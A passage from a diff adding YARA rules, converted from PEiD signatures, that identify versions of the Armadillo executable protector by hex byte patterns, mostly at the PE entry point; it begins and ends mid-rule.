+        description = "[Armadillo 4.10 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00126_Armadillo_4_20____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.20 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5}
+    condition:
+        $a
+}
+rule PEiD_00127_Armadillo_4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24}
+    condition:
+        $a
+}
+
+rule PEiD_00128_Armadillo_4_30a____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.30a -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43 4F 44 45 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 53 27 20 61 6E 64 20 27 25 53 27 00 00 00 00 50 75 74 53 74 72 69 6E 67 28 27 25 73 27 29 00 47 65 74 53 74 72 69 6E 67 28 29 2C 20 66 61 6C 73 65 00 00 47 65 74 53}
+    condition:
+        $a
+}
+
+rule PEiD_00129_Armadillo_4_30a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.30a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00130_Armadillo_4_40____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.40 -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 73 DC F6 D1 05 42 55 53 79 73 74 65 6D 00 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 44 44 45 20 50 72 6F 63 65 73 73 69 6E 67 00 00 53 77 50 44 44 45 00 00 44 00 44 00 45 00 20 00 50 00 72 00 6F 00 63 00 65 00 73 00 73 00 69 00 6E 00 67 00 00 00 00 00 53 00 77 00 50 00 44 00 44 00 45 00 00 00 00 00 3C 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00131_Armadillo_4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00132_Armadillo_4_44a_public_build____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.44a public build -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 51 B9 00 08 00 00 B9 06 00 00 00 F7 D1 0F C8 F7 D1 41 41 41 41 41 41 41 83 C1 04 41 41 41 41 83 C1 03 41 41 41 41 41 41 49 41 FE C1 FE C1 FE C1 83 C1 0D FE C1 FE C1 FE C1 FE C1 FE C1 83 C1 0A 49 52 BA 04 00 00 00 03 CA 41 5A 0F C8 23 C1 59 F7 D8 1B C0 F7 D8 5A 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 53 BB 80 00 00 00 EB 05 BB 04 00 00 00 BB 32 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 E0 00 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 40 5B 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 70 07 7C 03 EB 05 E9 74 FB EB F9 53 BB FF FF 00 00 23 C3 51 B5 2C 80 ED 01 80 ED 20 FE CD FE CD 80 ED 04 FE CD 80 ED 03 FE CD 22 E5 B1 70 80 E9 02 FE C9 FE C9 FE C9 80 E9 06 F6 D0 0F C9 F6 D0 0F C9 FE C9 FE C9 80 E9 10 FE C9 FE C9 80 C1 0C FE C9 FE C9 FE C9 70 07 7C 03 EB 05 C7 74 FB EB F9 FE C9 FE C9 FE C9 FE C9 80 E9 10 80 E9 01 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 F7 D1 0F C8 F7 D1 0F C8 FE C1 80 C1 02 22 C1 59 5B 85 C0 0F 85 94 00 00 00 8B 45 FC 53 BB 00 08 00 00 EB 05 BB 80 00 00 00 BB 72 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 23 C3 5B F7 D8 1B C0 40 5A 8B C8 51 8B 45 FC 52 BA FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00133_Armadillo_5_0_Dll____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.0 Dll -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 20 15 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 D7 23 00 00 59 89 7D FC FF 75 08 E8 EC 53 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 2B C5 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 19 ED FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 7D 22 00 00 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00134_Armadillo_5_00____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00135_Armadillo_5_00____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC FF 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00136_Armadillo_5_00_Dll____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 Dll -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00137_Armadillo_v1_60a_
+{
+    meta:
+        description = "[Armadillo v1.60a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00138_Armadillo_v1_71_
+{
+    meta:
+        description = "[Armadillo v1.71]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00139_Armadillo_v1_72___v1_73_
+{
+    meta:
+        description = "[Armadillo v1.72 - v1.73]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00140_Armadillo_v1_77_
+{
+    meta:
+        description = "[Armadillo v1.77]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00141_Armadillo_v1_80_
+{
+    meta:
+        description = "[Armadillo v1.80]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00142_Armadillo_v1_82_
+{
+    meta:
+        description = "[Armadillo v1.82]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00143_Armadillo_v1_83_
+{
+    meta:
+        description = "[Armadillo v1.83]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00144_Armadillo_v1_84_
+{
+    meta:
+        description = "[Armadillo v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00145_Armadillo_v1_90_
+{
+    meta:
+        description = "[Armadillo v1.90]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00146_Armadillo_v1_90a_
+{
+    meta:
+        description = "[Armadillo v1.90a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00147_Armadillo_v1_90b1_
+{
+    meta:
+        description = "[Armadillo v1.90b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00148_Armadillo_v1_90b2_
+{
+    meta:
+        description = "[Armadillo v1.90b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00149_Armadillo_v1_90b3_
+{
+    meta:
+        description = "[Armadillo v1.90b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00150_Armadillo_v1_90b4_
+{
+    meta:
+        description = "[Armadillo v1.90b4]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00151_Armadillo_v1_90c_
+{
+    meta:
+        description = "[Armadillo v1.90c]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00152_Armadillo_v1_9x_
+{
+    meta:
+        description = "[Armadillo v1.9x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00153_Armadillo_v1_xx___v2_xx_
+{
+    meta:
+        description = "[Armadillo v1.xx - v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00154_Armadillo_v2_00_
+{
+    meta:
+        description = "[Armadillo v2.00]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00155_Armadillo_v2_00b2_2_00b3_
+{
+    meta:
+        description = "[Armadillo v2.00b2-2.00b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00156_Armadillo_v2_01_
+{
+    meta:
+        description = "[Armadillo v2.01]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00157_Armadillo_v2_10b2_
+{
+    meta:
+        description = "[Armadillo v2.10b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00158_Armadillo_v2_20_
+{
+    meta:
+        description = "[Armadillo v2.20]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00159_Armadillo_v2_20b1_
+{
+    meta:
+        description = "[Armadillo v2.20b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00160_Armadillo_v2_50_
+{
+    meta:
+        description = "[Armadillo v2.50]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00161_Armadillo_v2_50b3_
+{
+    meta:
+        description = "[Armadillo v2.50b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00162_Armadillo_v2_51_
+{
+    meta:
+        description = "[Armadillo v2.51]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00163_Armadillo_v2_52_beta2_
+{
+    meta:
+        description = "[Armadillo v2.52 beta2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00164_Armadillo_v2_52_
+{
+    meta:
+        description = "[Armadillo v2.52]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00165_Armadillo_v2_52_
+{
+    meta:
+        description = "[Armadillo v2.52]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00166_Armadillo_v2_52b2_
+{
+    meta:
+        description = "[Armadillo v2.52b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00167_Armadillo_v2_53_
+{
+    meta:
+        description = "[Armadillo v2.53]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00168_Armadillo_v2_53_
+{
+    meta:
+        description = "[Armadillo v2.53]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00169_Armadillo_v2_53b3_
+{
+    meta:
+        description = "[Armadillo v2.53b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00170_Armadillo_v2_5x___v2_6x_
+{
+    meta:
+        description = "[Armadillo v2.5x - v2.6x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00171_Armadillo_v2_60_
+{
+    meta:
+        description = "[Armadillo v2.60]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00172_Armadillo_v2_60a_
+{
+    meta:
+        description = "[Armadillo v2.60a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00173_Armadillo_v2_60b1_
+{
+    meta:
+        description = "[Armadillo v2.60b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00174_Armadillo_v2_60b2_
+{
+    meta:
+        description = "[Armadillo v2.60b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00175_Armadillo_v2_60c_
+{
+    meta:
+        description = "[Armadillo v2.60c]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00176_Armadillo_v2_61_
+{
+    meta:
+        description = "[Armadillo v2.61]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00177_Armadillo_v2_65b1_
+{
+    meta:
+        description = "[Armadillo v2.65b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00178_Armadillo_v2_75a_
+{
+    meta:
+        description = "[Armadillo v2.75a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00179_Armadillo_v2_85_
+{
+    meta:
+        description = "[Armadillo v2.85]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00180_Armadillo_v2_xx__CopyMem_II__
+{
+    meta:
+        description = "[Armadillo v2.xx (CopyMem II)]"
+        ep_only = "true"
+    strings:
